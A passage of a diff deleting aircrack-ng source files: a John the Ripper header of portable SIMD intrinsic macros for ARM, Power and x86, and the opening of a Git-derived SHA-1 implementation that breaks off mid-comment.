- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * Minimalistic pseudo-instrinsics for width-agnostic x86 SIMD code.
- *
- * This software is Copyright (c) 2015 magnum,
- * Copyright (c) 2015 JimF,
- * Copyright (c) 2015 Lei Zhang,
- * and it is hereby released to the general public under the following terms:
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * Synopsis:
- *
- * SSE2:     __m128i a = _mm_add_epi32(b, c);
- * AVX2:     __m256i a = _mm256_add_epi32(b, c);
- * AVX512:   __m512i a = _mm512_add_epi32(b, c);
- * -> Pseudo:  vtype a = vadd_epi32(b, c);
- *
- * SSE2:     __m128i a = _mm_load_si128(p);
- * AVX2:     __m256i a = _mm256_load_si256(p);
- * AVX512:   __m512i a = _mm512_load_si512(p);
- * -> Pseudo:  vtype a = vload(p);
- *
- * intrinsics are emulated where the target does not support them.
- */
-
-#ifndef _SSE_PSEUDO_H
-#define _SSE_PSEUDO_H
-
-#include "arch.h"
-
-#if SIMD_COEF_32
-
-#include "aligned.h"
-#include "stdint.h"
-#include "jcommon.h" /* for is_aligned() */
-
-/*************************** NEON (ARM) *******************************/
-#ifdef __ARM_NEON__
-#include <arm_neon.h>
-
-typedef uint8x16_t vtype8;
-typedef uint32x4_t vtype; /* the default one */
-typedef uint64x2_t vtype64;
-
-#define vadd_epi32 vaddq_u32
-#define vadd_epi64(x, y) (vtype) vaddq_u64((vtype64)(x), (vtype64)(y))
-#define vand vandq_u32
-#define vandnot(x, y) vbicq_u32(y, x)
-#define vcmov(x, y, z) vbslq_u32(z, x, y)
-#define vload(m) vld1q_u32((uint32_t *) (m))
-#define vloadu vloadu_emu
-#define VLOADU_EMULATED 1
-#define vor vorrq_u32
-#define vorn vornq_u32
-#define vroti_epi32(x, i)                                                      \
-	(i > 0 ? vsliq_n_u32(vshrq_n_u32(x, 32 - (i)), x, i)                       \
-		   : vsriq_n_u32(vshlq_n_u32(x, 32 + (i)), x, -(i)))
-#define vroti_epi64(x, i)                                                      \
-	(i > 0 ? (vtype) vsliq_n_u64(                                              \
-				 vshrq_n_u64((vtype64)(x), 64 - (i)), (vtype64)(x), i)         \
-		   : (vtype) vsriq_n_u64(                                              \
-				 vshlq_n_u64((vtype64)(x), 64 + (i)), (vtype64)(x), -(i)))
-#define vroti16_epi32 vroti_epi32
-#define vset1_epi32(x) vdupq_n_u32(x)
-#define vset1_epi64(x) (vtype) vdupq_n_u64(x)
-#define vset_epi32(x3, x2, x1, x0)                                             \
-	vcombine_u32(vcreate_u32(((uint64_t)(x1) << 32) | x0),                     \
-				 vcreate_u32(((uint64_t)(x3) << 32) | x2))
-#define vset_epi64(x1, x0)                                                     \
-	(vtype) vcombine_u64(vcreate_u64(x0), vcreate_u64(x1))
-#define vsetzero() vset1_epi32(0)
-#define vslli_epi32(x, i) vshlq_n_u32(x, i)
-#define vslli_epi64(x, i) (vtype) vshlq_n_u64((vtype64)(x), i)
-#define vsrli_epi32(x, i) vshrq_n_u32(x, i)
-#define vsrli_epi64(x, i) (vtype) vshrq_n_u64((vtype64)(x), i)
-#define vstore(m, x) vst1q_u32((uint32_t *) (m), x)
-#define vstoreu vstoreu_emu
-#define VSTOREU_EMULATED 1
-#define vunpackhi_epi32(x, y) (vzipq_u32(x, y)).val[1]
-#define vunpackhi_epi64(x, y)                                                  \
-	vset_epi64(vgetq_lane_u64((vtype64)(y), 1), vgetq_lane_u64((vtype64)(x), 1))
-#define vunpacklo_epi32(x, y) (vzipq_u32(x, y)).val[0]
-#define vunpacklo_epi64(x, y)                                                  \
-	vset_epi64(vgetq_lane_u64((vtype64)(y), 0), vgetq_lane_u64((vtype64)(x), 0))
-#define vxor veorq_u32
-
-static inline int vanyeq_epi32(vtype x, vtype y)
-{
-	vtype z = vceqq_u32(x, y);
-	return vgetq_lane_u32(z, 0) || vgetq_lane_u32(z, 1) || vgetq_lane_u32(z, 2)
-		   || vgetq_lane_u32(z, 3);
-}
-
-#define vswap32(x) (x = (vtype) vrev32q_u8((vtype8) x))
-#define vswap64(x) (x = (vtype) vrev64q_u8((vtype8) x))
-
-#define GATHER64(x, y, z)                                                      \
-	{                                                                          \
-		x = vset_epi64(y[1][z], y[0][z]);                                      \
-	}
-
-/*************************** AltiVec (Power) **************************/
-#elif __ALTIVEC__
-#include <altivec.h>
-
-typedef vector unsigned int vtype32;
-typedef vector unsigned long vtype64;
-typedef union {
-	vtype32 v32;
-	vtype64 v64;
-	uint32_t s32[SIMD_COEF_32];
-	uint64_t s64[SIMD_COEF_64];
-} vtype;
-
-#define vadd_epi32(x, y) (vtype) vec_add((x).v32, (y).v32)
-#define vadd_epi64(x, y) (vtype) vec_add((x).v64, (y).v64)
-#define vand(x, y) (vtype) vec_and((x).v32, (y).v32)
-#define vandnot(x, y) (vtype) vec_andc((y).v32, (x).v32)
-#define vcmov(x, y, z) (vtype) vec_sel((y).v32, (x).v32, (z).v32)
-#define vload(m) (vtype)(vtype32) vec_ld(0, (uint32_t *) (m))
-#define vloadu vloadu_emu
-#define VLOADU_EMULATED 1
-#define vor(x, y) (vtype) vec_or((x).v32, (y).v32)
-#define vroti_epi32(x, i) (vtype) vec_rl((x).v32, (vset1_epi32(i)).v32)
-#define vroti_epi64(x, i) (vtype) vec_rl((x).v64, (vset1_epi64(i)).v64)
-#define vroti16_epi32 vroti_epi32
-#define vset1_epi32(x) vset_epi32(x, x, x, x)
-#define vset1_epi64(x) vset_epi64(x, x)
-#define vset_epi32(x3, x2, x1, x0)                                             \
-	(vtype)(vtype32) { x0, x1, x2, x3 }
-#define vset_epi64(x1, x0)                                                     \
-	(vtype)(vtype64) { x0, x1 }
-#define vsetzero() vset1_epi32(0)
-#define vslli_epi32(x, i) (vtype) vec_sl((x).v32, (vset1_epi32(i)).v32)
-#define vslli_epi64(x, i) (vtype) vec_sl((x).v64, (vset1_epi64(i)).v64)
-#define vsrli_epi32(x, i) (vtype) vec_sr((x).v32, (vset1_epi32(i)).v32)
-#define vsrli_epi64(x, i) (vtype) vec_sr((x).v64, (vset1_epi64(i)).v64)
-#define vstore(m, x) vec_st((x).v32, 0, (uint32_t *) (m))
-#define vstoreu vstoreu_emu
-#define VSTOREU_EMULATED 1
-#define vunpackhi_epi32(x, y) (vtype) vec_mergel((x).v32, (y).v32)
-#define vunpackhi_epi64(x, y)                                                  \
-	(vtype)(vtype64) vec_mergel((vector long) (x).v64, (vector long) (y).v64)
-#define vunpacklo_epi32(x, y) (vtype) vec_mergeh((x).v32, (y).v32)
-#define vunpacklo_epi64(x, y)                                                  \
-	(vtype)(vtype64) vec_mergeh((vector long) (x).v64, (vector long) (y).v64)
-#define vxor(x, y) (vtype) vec_xor((x).v32, (y).v32)
-
-#define vanyeq_epi32(x, y) vec_any_eq((x).v32, (y).v32)
-
-#define vswap32 vswap32_emu
-#define vswap64 vswap64_emu
-
-#define GATHER64(x, y, z)                                                      \
-	{                                                                          \
-		x = vset_epi64(y[1][z], y[0][z]);                                      \
-	}
-
-/*************************** AVX512 and MIC ***************************/
-#elif __AVX512F__ || __MIC__
-#include <immintrin.h>
-
-typedef __m512i vtype;
-
-#define vadd_epi32 _mm512_add_epi32
-#define vadd_epi64 _mm512_add_epi64
-#define vand _mm512_and_si512
-#define vandnot _mm512_andnot_si512
-#define vcmov vcmov_emu
-#define VCMOV_EMULATED 1
-/*
- * NOTE: AVX2 has it as (base, index, scale) while MIC and AVX512 are
- * different.
- */
-#define vgather_epi32(b, i, s) _mm512_i32gather_epi32(i, (void *) (b), s)
-#define vgather_epi64(b, i, s) _mm512_i64gather_epi64(i, (void *) (b), s)
-#define vload(x) _mm512_load_si512((void *) (x))
-#define vloadu(x) _mm512_loadu_si512((void *) (x))
-#define vor _mm512_or_si512
-#define vroti_epi32 vroti_epi32_emu
-#define vroti_epi64 vroti_epi64_emu
-#define vroti16_epi32 vroti_epi32
-#define vscatter_epi32(b, i, v, s) _mm512_i32scatter_epi32((void *) b, i, v, s)
-#define vscatter_epi64(b, i, v, s) _mm512_i64scatter_epi64((void *) b, i, v, s)
-#define vset1_epi8 _mm512_set1_epi8
-#define vset1_epi32 _mm512_set1_epi32
-#define vset1_epi64 _mm512_set1_epi64
-#define vset_epi32 _mm512_set_epi32
-#define vset_epi64 _mm512_set_epi64
-#define vsetzero _mm512_setzero_si512
-#define vshuffle_epi32 _mm512_shuffle_epi32
-#define vslli_epi32 _mm512_slli_epi32
-#define vslli_epi64 _mm512_slli_epi64
-#define vsrli_epi32 _mm512_srli_epi32
-#define vsrli_epi64 _mm512_srli_epi64
-#define vstore(x, y) _mm512_store_si512((void *) (x), y)
-#define vstoreu(x, y) _mm512_storeu_si512((void *) (x), y)
-#define vunpackhi_epi32 _mm512_unpackhi_epi32
-#define vunpackhi_epi64 _mm512_unpackhi_epi64
-#define vunpacklo_epi32 _mm512_unpacklo_epi32
-#define vunpacklo_epi64 _mm512_unpacklo_epi64
-#define vxor _mm512_xor_si512
-
-#define vanyeq_epi32(x, y) _mm512_cmp_epi32_mask(x, y, _MM_CMPINT_EQ)
-
-#define GATHER_4x(x, y, z)                                                     \
-	{                                                                          \
-		vtype indices = vset_epi32(15 << 6,                                    \
-								   14 << 6,                                    \
-								   13 << 6,                                    \
-								   12 << 6,                                    \
-								   11 << 6,                                    \
-								   10 << 6,                                    \
-								   9 << 6,                                     \
-								   8 << 6,                                     \
-								   7 << 6,                                     \
-								   6 << 6,                                     \
-								   5 << 6,                                     \
-								   4 << 6,                                     \
-								   3 << 6,                                     \
-								   2 << 6,                                     \
-								   1 << 6,                                     \
-								   0 << 6);                                    \
-		x = vgather_epi32(&y[z], indices, sizeof(y[z]));                       \
-	}
-#define GATHER_2x(x, y, z)                                                     \
-	{                                                                          \
-		vtype indices = vset_epi32(15 << 5,                                    \
-								   14 << 5,                                    \
-								   13 << 5,                                    \
-								   12 << 5,                                    \
-								   11 << 5,                                    \
-								   10 << 5,                                    \
-								   9 << 5,                                     \
-								   8 << 5,                                     \
-								   7 << 5,                                     \
-								   6 << 5,                                     \
-								   5 << 5,                                     \
-								   4 << 5,                                     \
-								   3 << 5,                                     \
-								   2 << 5,                                     \
-								   1 << 5,                                     \
-								   0 << 5);                                    \
-		x = vgather_epi32(&y[z], indices, sizeof(y[z]));                       \
-	}
-#define GATHER(x, y, z)                                                        \
-	{                                                                          \
-		vtype indices = vset_epi32(15 << 4,                                    \
-								   14 << 4,                                    \
-								   13 << 4,                                    \
-								   12 << 4,                                    \
-								   11 << 4,                                    \
-								   10 << 4,                                    \
-								   9 << 4,                                     \
-								   8 << 4,                                     \
-								   7 << 4,                                     \
-								   6 << 4,                                     \
-								   5 << 4,                                     \
-								   4 << 4,                                     \
-								   3 << 4,                                     \
-								   2 << 4,                                     \
-								   1 << 4,                                     \
-								   0 << 4);                                    \
-		x = vgather_epi32(&y[z], indices, sizeof(y[z]));                       \
-	}
-
-#define GATHER64(x, y, z)                                                      \
-	{                                                                          \
-		uint64_t stride = sizeof(*y);                                          \
-		vtype indices = vset_epi64(7 * stride,                                 \
-								   6 * stride,                                 \
-								   5 * stride,                                 \
-								   4 * stride,                                 \
-								   3 * stride,                                 \
-								   2 * stride,                                 \
-								   1 * stride,                                 \
-								   0);                                         \
-		x = vgather_epi64(&y[0][z], indices, 1);                               \
-	}
-
-#if __AVX512F__
-#undef vcmov
-#undef VCMOV_EMULATED
-#define vcmov(x, y, z) vternarylogic(x, y, z, 0xE4)
-#define vternarylogic _mm512_ternarylogic_epi32
-#endif
-
-#if __AVX512BW__
-#define vcmpeq_epi8_mask (uint64_t) _mm512_cmpeq_epi8_mask
-#define vshuffle_epi8 _mm512_shuffle_epi8
-#define vshufflehi_epi16 _mm512_shufflehi_epi16
-#define vshufflelo_epi16 _mm512_shufflelo_epi16
-#define vslli_epi16 _mm512_slli_epi16
-#define vsrli_epi16 _mm512_srli_epi16
-
-#define vswap32(n)                                                             \
-	n = vshuffle_epi8(n,                                                       \
-					  vset_epi32(0x3c3d3e3f,                                   \
-								 0x38393a3b,                                   \
-								 0x34353637,                                   \
-								 0x30313233,                                   \
-								 0x2c2d2e2f,                                   \
-								 0x28292a2b,                                   \
-								 0x24252627,                                   \
-								 0x20212223,                                   \
-								 0x1c1d1e1f,                                   \
-								 0x18191a1b,                                   \
-								 0x14151617,                                   \
-								 0x10111213,                                   \
-								 0x0c0d0e0f,                                   \
-								 0x08090a0b,                                   \
-								 0x04050607,                                   \
-								 0x00010203))
-#define vswap64(n)                                                             \
-	n = vshuffle_epi8(n,                                                       \
-					  vset_epi64(0x38393a3b3c3d3e3fULL,                        \
-								 0x3031323334353637ULL,                        \
-								 0x28292a2b2c2d2e2fULL,                        \
-								 0x2021222324252627ULL,                        \
-								 0x18191a1b1c1d1e1fULL,                        \
-								 0x1011121314151617ULL,                        \
-								 0x08090a0b0c0d0e0fULL,                        \
-								 0x0001020304050607ULL))
-#else /* workarounds without AVX512BW */
-#define vswap32 vswap32_emu
-#define vswap64(x) (x = vshuffle_epi32(x, _MM_SHUFFLE(2, 3, 0, 1)), vswap32(x))
-
-#endif /* __AVX512BW__ */
-
-/* MIC lacks some intrinsics in AVX512F, thus needing emulation. */
-#if __MIC__
-#define _mm512_set1_epi8(x) _mm512_set1_epi32(x | x << 8 | x << 16 | x << 24)
-
-static inline __m512i _mm512_loadu_si512(void const * addr)
-{
-	__m512i indices = _mm512_set_epi64(7, 6, 5, 4, 3, 2, 1, 0);
-	return is_aligned(addr, 64) ? _mm512_load_si512(addr)
-								: _mm512_i64gather_epi64(indices, addr, 8);
-}
-
-static inline void _mm512_storeu_si512(void * addr, vtype d)
-{
-	__m512i indices = _mm512_set_epi64(7, 6, 5, 4, 3, 2, 1, 0);
-
-	if (is_aligned(addr, 64))
-		_mm512_store_si512(addr, d);
-	else
-		_mm512_i64scatter_epi64(addr, indices, d, 8);
-}
-#endif /* __MIC__ */
-
-/******************************** AVX2 ********************************/
-#elif __AVX2__
-#include <immintrin.h>
-
-typedef __m256i vtype;
-
-#define vadd_epi32 _mm256_add_epi32
-#define vadd_epi64 _mm256_add_epi64
-#define vand _mm256_and_si256
-#define vandnot _mm256_andnot_si256
-#define vcmov vcmov_emu
-#define VCMOV_EMULATED 1
-#define vcmpeq_epi8_mask(a, b) _mm256_movemask_epi8(_mm256_cmpeq_epi8(a, b))
-#define vcmpeq_epi32 _mm256_cmpeq_epi32
-#define vcvtsi32 _mm256_cvtsi32_si256
-#define vgather_epi32(b, i, s) _mm256_i32gather_epi32((void *) (b), i, s)
-#define vgather_epi64(b, i, s) _mm256_i64gather_epi64((void *) (b), i, s)
-#define vinsert_epi32 _mm256_insert_epi32
-#define vload(x) _mm256_load_si256((void *) (x))
-#define vloadu(x) _mm256_loadu_si256((void *) (x))
-#define vmovemask_epi8 _mm256_movemask_epi8
-#define vor _mm256_or_si256
-#define vpermute2x128 _mm256_permute2x128_si256
-#define vpermute4x64_epi64 _mm256_permute4x64_epi64
-#define vroti_epi32 vroti_epi32_emu
-#define vroti_epi64 vroti_epi64_emu
-#define vroti16_epi32 vroti_epi32
-#define vset1_epi8 _mm256_set1_epi8
-#define vset1_epi32 _mm256_set1_epi32
-#define vset1_epi64 _mm256_set1_epi64x
-#define vset_epi32 _mm256_set_epi32
-#define vset_epi64 _mm256_set_epi64x
-#define vsetzero _mm256_setzero_si256
-#define vshuffle_epi8 _mm256_shuffle_epi8
-#define vshuffle_epi32 _mm256_shuffle_epi32
-#define vshufflehi_epi16 _mm256_shufflehi_epi16
-#define vshufflelo_epi16 _mm256_shufflelo_epi16
-#define vslli_epi16 _mm256_slli_epi16
-#define vslli_epi32 _mm256_slli_epi32
-#define vslli_epi64 _mm256_slli_epi64
-#define vsrli_epi16 _mm256_srli_epi16
-#define vsrli_epi32 _mm256_srli_epi32
-#define vsrli_epi64 _mm256_srli_epi64
-#define vstore(x, y) _mm256_store_si256((void *) (x), y)
-#define vstoreu(x, y) _mm256_storeu_si256((void *) (x), y)
-#define vunpackhi_epi32 _mm256_unpackhi_epi32
-#define vunpackhi_epi64 _mm256_unpackhi_epi64
-#define vunpacklo_epi32 _mm256_unpacklo_epi32
-#define vunpacklo_epi64 _mm256_unpacklo_epi64
-#define vxor _mm256_xor_si256
-
-#define vanyeq_epi32(x, y) vmovemask_epi8(vcmpeq_epi32(x, y))
-
-#define swap_endian_mask                                                       \
-	_mm256_set_epi32(0x1c1d1e1f,                                               \
-					 0x18191a1b,                                               \
-					 0x14151617,                                               \
-					 0x10111213,                                               \
-					 0x0c0d0e0f,                                               \
-					 0x08090a0b,                                               \
-					 0x04050607,                                               \
-					 0x00010203)
-
-#define swap_endian64_mask                                                     \
-	vset_epi64(0x18191a1b1c1d1e1fULL,                                          \
-			   0x1011121314151617ULL,                                          \
-			   0x08090a0b0c0d0e0fULL,                                          \
-			   0x0001020304050607ULL)
-
-#define vswap32(n) (n = vshuffle_epi8(n, swap_endian_mask))
-
-#define vswap64(n) (n = vshuffle_epi8(n, swap_endian64_mask))
-
-#define GATHER_4x(x, y, z)                                                     \
-	{                                                                          \
-		vtype indices = vset_epi32(                                            \
-			7 << 6, 6 << 6, 5 << 6, 4 << 6, 3 << 6, 2 << 6, 1 << 6, 0 << 6);   \
-		x = vgather_epi32(&y[z], indices, sizeof(y[z]));                       \
-	}
-#define GATHER_2x(x, y, z)                                                     \
-	{                                                                          \
-		vtype indices = vset_epi32(                                            \
-			7 << 5, 6 << 5, 5 << 5, 4 << 5, 3 << 5, 2 << 5, 1 << 5, 0 << 5);   \
-		x = vgather_epi32(&y[z], indices, sizeof(y[z]));                       \
-	}
-#define GATHER(x, y, z)                                                        \
-	{                                                                          \
-		vtype indices = vset_epi32(                                            \
-			7 << 4, 6 << 4, 5 << 4, 4 << 4, 3 << 4, 2 << 4, 1 << 4, 0 << 4);   \
-		x = vgather_epi32(&y[z], indices, sizeof(y[z]));                       \
-	}
-
-#define GATHER64(x, y, z)                                                      \
-	{                                                                          \
-		uint64_t stride = sizeof(*y);                                          \
-		vtype indices = vset_epi64(3 * stride, 2 * stride, 1 * stride, 0);     \
-		x = vgather_epi64(&y[0][z], indices, 1);                               \
-	}
-
-/************************* SSE2/3/4/AVX/XOP ***************************/
-#elif __SSE2__
-
-#if __XOP__
-#include <x86intrin.h>
-#elif __AVX__
-#include <immintrin.h>
-#elif __SSE4_1__
-#include <smmintrin.h>
-#elif __SSSE3__
-#include <tmmintrin.h>
-#endif
-
-#include <emmintrin.h>
-
-typedef __m128i vtype;
-
-#define vadd_epi32 _mm_add_epi32
-#define vadd_epi64 _mm_add_epi64
-#define vand _mm_and_si128
-#define vandnot _mm_andnot_si128
-#if __XOP__
-#define vcmov _mm_cmov_si128
-#else
-#define vcmov vcmov_emu
-#define VCMOV_EMULATED 1
-#endif
-#define vcmpeq_epi8_mask(a, b) _mm_movemask_epi8(_mm_cmpeq_epi8(a, b))
-#define vcmpeq_epi32 _mm_cmpeq_epi32
-#if __SSE4_1__
-#define vcvtsi32 _mm_cvtsi32_si128
-#endif
-#define vinsert_epi32 _mm_insert_epi32
-#define vload(x) _mm_load_si128((const vtype *) (x))
-#define vloadu(x) _mm_loadu_si128((const vtype *) (x))
-#define vmovemask_epi8 _mm_movemask_epi8
-#define vor _mm_or_si128
-#define vpermute4x64_epi64 _mm_permute4x64_epi64
-#define vpermute2x128 _mm_permute2x128_si128
-#if __XOP__
-#define vroti_epi32 _mm_roti_epi32
-#define vroti16_epi32 _mm_roti_epi32
-#define vroti_epi64 _mm_roti_epi64
-#else
-#define vroti_epi32 vroti_epi32_emu
-#define vroti_epi64 vroti_epi64_emu
-/* Specialized ROTL16 for SSE4.1 and lower (eg. MD5) */
-#if __SSSE3__
-#define vroti16_epi32(a, s)                                                    \
-	vshuffle_epi8((a),                                                         \
-				  vset_epi32(0x0d0c0f0e, 0x09080b0a, 0x05040706, 0x01000302))
-#elif __SSE2__
-#define vroti16_epi32(a, s) vshufflelo_epi16(vshufflehi_epi16((a), 0xb1), 0xb1)
-#else
-#define vroti16_epi32 vroti_epi32
-#endif /* __SSSE3__ */
-#endif /* __XOP__ */
-#define vset_epi32 _mm_set_epi32
-#define vset1_epi8 _mm_set1_epi8
-#define vset1_epi32 _mm_set1_epi32
-#ifndef _MSC_VER
-#define vset1_epi64 _mm_set1_epi64x
-#define vset_epi64 _mm_set_epi64x
-#else
-#define vset1_epi64 _mm_set1_epi64
-#define vset_epi64 _mm_set_epi64
-#endif
-#define vsetzero _mm_setzero_si128
-#if __SSSE3__
-#define vshuffle_epi8 _mm_shuffle_epi8
-#endif
-#define vshuffle_epi32 _mm_shuffle_epi32
-#define vshufflehi_epi16 _mm_shufflehi_epi16
-#define vshufflelo_epi16 _mm_shufflelo_epi16
-#define vslli_epi16 _mm_slli_epi16
-#define vslli_epi32 _mm_slli_epi32
-#define vslli_epi64 _mm_slli_epi64
-#define vsrli_epi16 _mm_srli_epi16
-#define vsrli_epi32 _mm_srli_epi32
-#define vsrli_epi64 _mm_srli_epi64
-#define vstore(x, y) _mm_store_si128((vtype *) (x), y)
-#define vstoreu(x, y) _mm_storeu_si128((vtype *) (x), y)
-#define vunpackhi_epi32 _mm_unpackhi_epi32
-#define vunpackhi_epi64 _mm_unpackhi_epi64
-#define vunpacklo_epi32 _mm_unpacklo_epi32
-#define vunpacklo_epi64 _mm_unpacklo_epi64
-#define vxor _mm_xor_si128
-
-#define vanyeq_epi32(x, y) vmovemask_epi8(vcmpeq_epi32(x, y))
-
-#if __SSSE3__
-
-#define swap_endian_mask                                                       \
-	vset_epi32(0x0c0d0e0f, 0x08090a0b, 0x04050607, 0x00010203)
-#define vswap32(n) (n = vshuffle_epi8(n, swap_endian_mask))
-
-#define swap_endian64_mask                                                     \
-	vset_epi64(0x08090a0b0c0d0e0fULL, 0x0001020304050607ULL)
-#define vswap64(n) (n = vshuffle_epi8(n, swap_endian64_mask))
-
-#else /* Just basic SSE2 */
-
-#define vswap32(n)                                                             \
-	(n = vxor(vsrli_epi16(vroti16_epi32(n, 16), 8),                            \
-			  vslli_epi16(vroti16_epi32(n, 16), 8)))
-
-#define vswap64(n)                                                             \
-	(n = vshufflehi_epi16(vshufflelo_epi16(n, 0xb1), 0xb1),                    \
-	 n = vxor(vslli_epi16(n, 8), vsrli_epi16(n, 8)),                           \
-	 n = vshuffle_epi32(n, 0xb1))
-
-#endif /* __SSSE3__ */
-
-#if __SSE4_1__
-#define GATHER_4x(x, y, z)                                                     \
-	{                                                                          \
-		x = vcvtsi32(y[z]);                                                    \
-		x = vinsert_epi32(x, y[z + (1 << 6)], 1);                              \
-		x = vinsert_epi32(x, y[z + (2 << 6)], 2);                              \
-		x = vinsert_epi32(x, y[z + (3 << 6)], 3);                              \
-	}
-#define GATHER_2x(x, y, z)                                                     \
-	{                                                                          \
-		x = vcvtsi32(y[z]);                                                    \
-		x = vinsert_epi32(x, y[z + (1 << 5)], 1);                              \
-		x = vinsert_epi32(x, y[z + (2 << 5)], 2);                              \
-		x = vinsert_epi32(x, y[z + (3 << 5)], 3);                              \
-	}
-#define GATHER(x, y, z)                                                        \
-	{                                                                          \
-		x = vcvtsi32(y[z]);                                                    \
-		x = vinsert_epi32(x, y[z + (1 << 4)], 1);                              \
-		x = vinsert_epi32(x, y[z + (2 << 4)], 2);                              \
-		x = vinsert_epi32(x, y[z + (3 << 4)], 3);                              \
-	}
-#endif /* __SSE4_1__ */
-
-#define GATHER64(x, y, z)                                                      \
-	{                                                                          \
-		x = vset_epi64(y[1][z], y[0][z]);                                      \
-	}
-
-#if _MSC_VER && !_M_X64
-/*
- * These are slow, but the F'n 32 bit compiler will not build these intrinsics.
- * Only the 64-bit (Win64) MSVC compiler has these as intrinsics. These slow
- * ones let me debug, and develop this code, and work, but use CPU
- */
-#define _mm_set_epi64 __mm_set_epi64
-#define _mm_set1_epi64 __mm_set1_epi64
-_inline __m128i _mm_set_epi64(long long a, long long b)
-{
-	__m128i x;
-
-	x.m128i_i64[0] = b;
-	x.m128i_i64[1] = a;
-	return x;
-}
-_inline __m128i _mm_set1_epi64(long long a)
-{
-	__m128i x;
-
-	x.m128i_i64[0] = x.m128i_i64[1] = a;
-	return x;
-}
-#define vset1_epi64x(x) vset_epi64x(x, x)
-#define vset_epi64x(x1, x0)                                                    \
-	(vtype)(vtype64) { x0, x1 }
-#endif
-
-#endif /* __SIMD__ elif __SIMD__ elif __SIMD__ */
-
-/************************* COMMON STUFF BELOW *************************/
-
-#ifdef _MSC_VER
-#define MEM_ALIGN_SIMD 16
-#define INLINE _inline
-#else
-#define MEM_ALIGN_SIMD (SIMD_COEF_32 * 4)
-#define INLINE inline
-#endif
-
-#if VLOADU_EMULATED
-static INLINE vtype vloadu_emu(const void * addr)
-{
-	if (is_aligned(addr, MEM_ALIGN_SIMD))
-		return vload(addr);
-	else
-	{
-		JTR_ALIGN(MEM_ALIGN_SIMD) char buf[sizeof(vtype)];
-
-		return vload(memcpy(buf, addr, sizeof(vtype)));
-	}
-}
-#endif
-
-#if VSTOREU_EMULATED
-static INLINE void vstoreu_emu(void * addr, vtype v)
-{
-	if (is_aligned(addr, MEM_ALIGN_SIMD))
-		vstore(addr, v);
-	else
-	{
-		JTR_ALIGN(MEM_ALIGN_SIMD) char buf[sizeof(vtype)];
-
-		vstore(buf, v);
-		memcpy(addr, buf, sizeof(vtype));
-	}
-}
-#endif
-
-#define vswap32_emu(x)                                                         \
-	x = vxor(vsrli_epi32(x, 24),                                               \
-			 vxor(vslli_epi32(vsrli_epi32(vslli_epi32(x, 8), 24), 8),          \
-				  vxor(vsrli_epi32(vslli_epi32(vsrli_epi32(x, 8), 24), 8),     \
-					   vslli_epi32(x, 24))))
-#define vswap64_emu(x)                                                         \
-	(x = vxor(vsrli_epi64(x, 32), vslli_epi64(x, 32)), vswap32_emu(x))
-
-#if VCMOV_EMULATED
-#if VANDNOT_EMULATED /* currently never */
-#define vcmov_emu(x, y, z) vxor(y, vand(z, vxor(x, y)))
-#else
-#define vcmov_emu(x, y, z) vxor(vand(z, x), vandnot(z, y))
-#endif
-#endif
-
-#if __SSE3__ || __MIC__
-#define vslli_epi64a(a, s) vslli_epi64(a, s)
-
-#else
-/* Optimization for really old CPUs for << 1 (for vroti -1) (eg. SHA512) */
-#define vslli_epi64a(a, s)                                                     \
-	((s) == 1 ? vadd_epi64((a), (a)) : vslli_epi64((a), (s)))
-
-#endif /* __SSE3__ || __MIC__ */
-
-/*
- * vroti must handle both ROTL and ROTR. If s < 0, then ROTR. Note that
- * the ternary will normally be optimized away!
- */
-#define vroti_epi32_emu(a, s)                                                  \
-	((s) < 0 ? vxor(vsrli_epi32((a), ~(s) + 1), vslli_epi32((a), 32 + (s)))    \
-			 : vxor(vslli_epi32((a), (s)), vsrli_epi32((a), 32 - (s))))
-
-#define vroti_epi64_emu(a, s)                                                  \
-	((s) < 0 ? vxor(vsrli_epi64((a), ~(s) + 1), vslli_epi64a((a), 64 + (s)))   \
-			 : vxor(vslli_epi64a((a), (s)), vsrli_epi64((a), 64 - (s))))
-
-#endif /* SIMD_COEF_32 */
-
-#endif /* _SSE_PSEUDO_H */

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/sha1-git.c Deleted

@@ -1,343 +0,0 @@
-#ifndef _SHA1_GIT
-/*
- * sha1-git.c
- *
- * This code is based on the GIT SHA1 Implementation.
- *
- * Copyright (C) 2009 Linus Torvalds <torvalds@linux-foundation.org>
- * Copyright (C) 2009 Nicolas Pitre <nico@cam.org>
- * Copyright (C) 2009 Junio C Hamano <gitster@pobox.com>
- * Copyright (C) 2009 Brandon Casey <drafnel@gmail.com>
- * Copyright (C) 2010 Ramsay Jones <ramsay@ramsay1.demon.co.uk>
- * Copyright (C) 2012 Carlos Alberto Lopez Perez <clopez@igalia.com>
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- */
-
-/*
- * SHA1 routine optimized to do word accesses rather than byte accesses,
- * and to avoid unnecessary copies into the context array.
- *
- * This was initially based on the Mozilla SHA1 implementation, although
- * none of the original Mozilla code remains.
- */
-
-/* this is only to get definitions for memcpy(), ntohl() and htonl() */
-//#include "../git-compat-util.h"
-#include <string.h>
-#include <arpa/inet.h>
-#include "sha1-git.h"
-
-#if defined(__GNUC__) && (defined(__i386__) || defined(__x86_64__))
-
-/*
- * Force usage of rol or ror by selecting the one with the smaller constant.
- * It _can_ generate slightly smaller code (a constant of 1 is special), but
- * perhaps more importantly it's possibly faster on any uarch that does a
- * rotate with a loop.
- */
-
-#define SHA_ASM(op, x, n)                                                      \
-	({                                                                         \
-		unsigned int __res;                                                    \
-		__asm__(op " %1,%0" : "=r"(__res) : "i"(n), "0"(x));                   \
-		__res;                                                                 \
-	})
-#define SHA_ROL(x, n) SHA_ASM("rol", x, n)
-#define SHA_ROR(x, n) SHA_ASM("ror", x, n)
-
-#else
-
-#define SHA_ROT(X, l, r) (((X) << (l)) | ((X) >> (r)))
-#define SHA_ROL(X, n) SHA_ROT(X, n, 32 - (n))
-#define SHA_ROR(X, n) SHA_ROT(X, 32 - (n), n)
-
-#endif
-
-/*
- * If you have 32 registers or more, the compiler can (and should)
